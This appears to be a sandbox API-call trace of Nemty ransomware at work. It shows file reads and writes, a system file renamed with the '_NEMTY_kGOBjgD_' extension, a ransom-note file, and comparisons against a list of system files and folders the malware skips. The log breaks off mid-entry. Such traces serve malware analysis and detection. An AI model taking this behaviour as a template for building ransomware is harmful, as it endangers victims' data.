[0108.846] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.847] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.853] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.853] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0108.853] CloseHandle (hObject=0xffffffff) returned 0 [0108.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0108.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0108.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0108.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0108.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0108.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0108.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0108.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0108.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0108.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0108.854] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" (normalized: "c:\\program files\\windows photo viewer\\en-us\\photoviewer.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows photo viewer\\en-us\\photoviewer.dll.mui._nemty_kgobjgd_")) returned 0 [0108.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0108.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0108.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0108.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0108.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0108.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0108.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0108.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0108.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.855] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4473a50, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf4473a50, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4473a50, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0108.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0108.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0108.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0108.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0108.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0108.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0108.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0108.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0108.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0108.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0108.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0108.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0108.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0108.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.856] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4473a50, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf4473a50, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4473a50, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0108.856] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0108.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0108.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0108.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0108.856] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb02a6db0, ftCreationTime.dwHighDateTime=0x1d56156, ftLastAccessTime.dwLowDateTime=0xe3623250, ftLastAccessTime.dwHighDateTime=0x1d55b37, ftLastWriteTime.dwLowDateTime=0xe3623250, ftLastWriteTime.dwHighDateTime=0x1d55b37, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="fragrancecommentedrio.exe", cAlternateFileName="FRAGRA~1.EXE")) returned 1 [0108.856] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2=".") returned 1 [0108.856] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="..") returned 1 [0108.856] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="...") returned 1 [0108.856] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="windows") returned -1 [0108.856] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="$RECYCLE.BIN") returned 1 [0108.856] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="rsa") returned -1 [0108.857] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="NTDETECT.COM") returned -1 [0108.857] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="ntldr") returned -1 [0108.857] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="MSDOS.SYS") returned -1 [0108.857] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="IO.SYS") returned -1 [0108.857] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="boot.ini") returned 1 [0108.857] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="boot.ini") returned 1 [0108.857] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="AUTOEXEC.BAT") returned 1 [0108.857] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="ntuser.dat") returned -1 [0108.857] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="desktop.ini") returned 1 [0108.857] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="CONFIG.SYS") returned 1 [0108.857] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="RECYCLER") returned -1 [0108.857] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="BOOTSECT.BAK") returned 1 [0108.857] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="bootmgr") returned 1 [0108.857] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="programdata") returned -1 [0108.857] lstrcmpiW (lpString1="fragrancecommentedrio.exe", lpString2="appdata") returned 1 [0108.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0108.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fragrancecommentedrio.exe", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0108.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fragrancecommentedrio.exe", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fragrancecommentedrio.exe", lpUsedDefaultChar=0x0) returned 25 [0108.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0108.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fragrancecommentedrio.exe", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0108.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fragrancecommentedrio.exe", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fragrancecommentedrio.exe", lpUsedDefaultChar=0x0) returned 25 [0108.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0108.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0108.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0108.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fragrancecommentedrio.exe", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0108.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fragrancecommentedrio.exe", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fragrancecommentedrio.exe", lpUsedDefaultChar=0x0) returned 25 [0108.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0108.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0108.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fragrancecommentedrio.exe", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0108.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fragrancecommentedrio.exe", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fragrancecommentedrio.exe", lpUsedDefaultChar=0x0) returned 25 [0108.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0108.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f940f0 [0108.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0108.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.858] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea0f40f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8ea0f40f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x85cc42cd, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16f18, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2=".") returned 1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="..") returned 1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="...") returned 1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="windows") returned -1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="$RECYCLE.BIN") returned 1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="rsa") returned -1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="NTDETECT.COM") returned -1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="ntldr") returned -1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="MSDOS.SYS") returned -1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="IO.SYS") returned -1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="boot.ini") returned 1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="boot.ini") returned 1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="AUTOEXEC.BAT") returned 1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="ntuser.dat") returned -1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="desktop.ini") returned 1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="CONFIG.SYS") returned 1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="RECYCLER") returned -1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="BOOTSECT.BAK") returned 1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="bootmgr") returned 1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="programdata") returned -1 [0108.858] lstrcmpiW (lpString1="ImagingDevices.exe", lpString2="appdata") returned 1 [0108.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingDevices.exe", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0108.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingDevices.exe", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ImagingDevices.exe", lpUsedDefaultChar=0x0) returned 18 [0108.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0108.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingDevices.exe", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0108.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingDevices.exe", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ImagingDevices.exe", lpUsedDefaultChar=0x0) returned 18 [0108.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0108.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingDevices.exe", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0108.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingDevices.exe", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ImagingDevices.exe", lpUsedDefaultChar=0x0) returned 18 [0108.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingDevices.exe", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0108.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingDevices.exe", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ImagingDevices.exe", lpUsedDefaultChar=0x0) returned 18 [0108.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0108.859] HeapFree (in: hHeap=0x4f90000, 